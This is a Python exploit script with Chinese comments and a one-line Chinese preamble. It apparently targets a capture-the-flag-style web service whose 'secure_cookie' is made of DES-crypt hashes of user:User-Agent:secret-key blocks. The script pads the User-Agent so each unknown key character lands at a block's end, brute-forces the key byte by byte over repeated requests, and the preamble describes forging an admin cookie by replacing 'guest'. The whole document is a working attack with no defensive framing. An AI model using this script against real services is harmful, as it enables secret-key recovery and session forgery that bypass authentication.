guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:ENC_SECRET_KEY:ENC_SECRET_KEY,我只需要替换前8位,将guest替换为admin即可
import argparse
import sys
import urllib.parse
from http.cookies import SimpleCookie
try:
import requests
except Exception:
requests = None
try:
from passlib.hash import des_crypt
except Exception:
des_crypt = None
try:
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
except Exception:
Retry = None
HTTPAdapter = None
def unquote_cookie(val: str) -> str:
try:
return urllib.parse.unquote(val)
except Exception:
return val
def strip_wrapper(s: str) -> str:
"""移除首尾可能出现的空格与引号/反引号。"""
if s is None:
return s
s = s.strip()
if len(s) >= 2 and s[0] in "'\"`" and s[-1] == s[0]:
s = s[1:-1]
return s
def split_segments(cookie_val: str):
"""Split secure_cookie into 13-char crypt segments.
Returns (salt, segments:list[str]).
假设服务端对不足8字节也进行加密,因此这里不再处理明文尾部。
"""
cookie_val = unquote_cookie(cookie_val)
if not cookie_val or len(cookie_val) < 2:
raise ValueError("secure_cookie 值无效或过短")
salt = cookie_val[:2]
seg_len = 13
if len(cookie_val) % seg_len != 0:
# 容错:如果不为13的整数倍,尽量按整段切分,并忽略剩余
pass
num_segs = len(cookie_val) // seg_len
segments = [cookie_val[i * seg_len:(i + 1) * seg_len] for i in range(num_segs)]
return salt, segments
def fetch_secure_cookie(url: str, ua_value: str, timeout: float = 5.0, retries: int = 0, retry_backoff: float = 0.0):
if requests is None:
raise RuntimeError("缺少 requests 依赖,请先安装")
headers = {"User-Agent": ua_value}
# 按需仅调整 UA,不携带任何 Cookie
try:
if Retry is not None and HTTPAdapter is not None and retries > 0:
session = requests.Session()
retry_cfg = Retry(
total=retries,
connect=retries,
read=retries,
backoff_factor=retry_backoff,
status_forcelist=[500, 502, 503, 504],
allowed_methods=frozenset(["GET"]),
)
adapter = HTTPAdapter(max_retries=retry_cfg)
session.mount("http://", adapter)
session.mount("https://", adapter)
resp = session.get(url, headers=headers, timeout=timeout, allow_redirects=False)
else:
resp = requests.get(url, headers=headers, timeout=timeout, allow_redirects=False)
except Exception as e:
raise RuntimeError(f"请求失败:{e.__class__.__name__} — {e}")
# 优先从响应 cookie jar 中取
val = resp.cookies.get("secure_cookie")
if not val:
# 兼容直接解析 Set-Cookie 头
sc = resp.headers.get("Set-Cookie")
if sc:
c = SimpleCookie()
c.load(sc)
morsel = c.get("secure_cookie")
if morsel:
val = morsel.value
if not val:
raise RuntimeError("未在响应中找到 secure_cookie")
return val
def calc_ua_len_for_block_end(user: str, key_prefix_len: int) -> int:
# 让 L_with_unknown % 8 == 0,其中 L_with_unknown = len(user) + 1 + ua_len + 1 + len(key_prefix) + 1
base = len(user) + 1 + 1 + key_prefix_len + 1
return (8 - (base % 8)) % 8
def block_index_for_unknown(user: str, ua_len: int, key_prefix_len: int) -> int:
# unknown 包含在 L_with_unknown 中,所在块索引 j = L_with_unknown//8 - 1
L = len(user) + 1 + ua_len + 1 + key_prefix_len + 1
return (L // 8) - 1
def brute_next_char_via_block(cookie_val: str, user: str, ua_len: int, key_prefix: str, candidates: str, ua_content: str):
if des_crypt is None:
raise RuntimeError("缺少 passlib.des_crypt 依赖,请先安装")
salt, segments = split_segments(cookie_val)
j = block_index_for_unknown(user, ua_len, len(key_prefix))
if j < 0 or j >= len(segments):
raise RuntimeError(f"计算的块索引 j={j} 超出范围,segments={len(segments)}")
# 组装已知部分,取其尾部7字节
known = f"{user}:{ua_content}:{key_prefix}"
pre7 = known[-7:]
target_seg = segments[j]
for ch in candidates:
block_plain = (pre7 + ch)
digest = des_crypt.hash(block_plain, salt=salt)
if digest == target_seg:
return ch
raise RuntimeError("候选集合未命中,请扩大候选或检查前置条件")
def main():
parser = argparse.ArgumentParser(description="自动迭代爆破 secure_cookie 的 key(仅块比对法,按需调整 UA 长度)")
parser.add_argument("--url", required=True, help="完整URL,例如 http://10.201.28.247/")
parser.add_argument("--user", default="guest", help="参与明文的 user 值(不发送 Cookie),默认 guest")
parser.add_argument("--known", default="", help="已知的 key 前缀(本次仅爆破下一位或作为迭代起点)")
parser.add_argument("--candidates", default=None, help="候选字符集合,默认所有可打印ASCII字符 (0x20-0x7E)")
parser.add_argument("--ua", default="", help="基础 UA 字符串(可选)。不指定则使用填充字符生成")
parser.add_argument("--ua-length", type=int, help="覆盖自动长度的 UA 目标长度(可选)")
parser.add_argument("--ua-char", default="a", help="填充 UA 的字符(用于长度控制),默认 a")
parser.add_argument("--ua-fixed", action="store_true", help="使用提供的 UA 原样,不做长度调整")
parser.add_argument("--timeout", type=float, default=5.0, help="请求超时(秒)")
parser.add_argument("--retries", type=int, default=2, help="连接/读异常自动重试次数,默认 2")
parser.add_argument("--retry-backoff", type=float, default=0.5, help="重试退避因子(秒),默认 0.5")
parser.add_argument("--recover-all", action="store_true", default=True, help="迭代爆破剩余所有位并输出完整 key(在线模式,默认启用)")
parser.add_argument("--key-length", type=int, help="完整 key 的长度;不提供则持续尝试,直到候选未命中或达到上限")
args = parser.parse_args()
# 生成默认候选集:所有可打印ASCII字符(含空格),范围 0x20-0x7E
default_candidates = "".join(chr(i) for i in range(32, 127))
candidates = args.candidates if args.candidates is not None else default_candidates
# 构造 URL(只支持 --url)
url = strip_wrapper(args.url)
def build_ua_value(target_len: int) -> str:
base = args.ua or ""
if args.ua_fixed:
return base
if not base:
return (args.ua_char * max(0, target_len))
if len(base) >= target_len:
return base[:target_len]
return base + (args.ua_char * (target_len - len(base)))
# 计算 UA 长度(允许覆盖)——严格让未知位位于块末第8位
if args.ua_length is not None:
ua_len = max(0, args.ua_length)
else:
ua_len = calc_ua_len_for_block_end(args.user, len(args.known))
ua_value = build_ua_value(ua_len)
def fetch_for_len(known_len: int):
# 针对当前已知长度,计算使未知位处于块末的 UA 长度并抓取 cookie
step_ua_len = calc_ua_len_for_block_end(args.user, known_len)
step_ua_value = build_ua_value(step_ua_len)
cv = fetch_secure_cookie(url, ua_value=step_ua_value, timeout=args.timeout, retries=args.retries, retry_backoff=args.retry_backoff)
return cv, step_ua_len, step_ua_value
if not args.recover_all:
# 单次爆破下一位(在线)
try:
cookie_val = fetch_secure_cookie(url, ua_value=ua_value, timeout=args.timeout, retries=args.retries, retry_backoff=args.retry_backoff)
except Exception as e:
print(f"抓取 secure_cookie 失败:{e}", file=sys.stderr)
sys.exit(1)
# 爆破下一位
try:
next_ch = brute_next_char_via_block(cookie_val, user=args.user, ua_len=ua_len, key_prefix=args.known, candidates=candidates, ua_content=ua_value)
except Exception as e:
print(f"爆破失败:{e}", file=sys.stderr)
sys.exit(1)
print(next_ch)
return
# 迭代爆破完整 key(在线)
known = args.known
step_count = 0
max_steps = args.key_length if args.key_length is not None else 1024 # 避免无限循环,默认上限
while step_count < max_steps:
try:
cookie_val, step_ua_len, step_ua_value = fetch_for_len(len(known))
except Exception as e:
print(f"抓取 secure_cookie 失败:{e}", file=sys.stderr)
break
try:
ch = brute_next_char_via_block(cookie_val, user=args.user, ua_len=step_ua_len, key_prefix=known, candidates=candidates, ua_content=step_ua_value)
except Exception as e:
print(f"迭代爆破中止:{e}", file=sys.stderr)
break
known += ch
step_count += 1
# 若提供了完整长度,达到即可结束
if args.key_length is not None and len(known) >= args.key_length:
break
print(known)
if __name__ == "__main__":
main()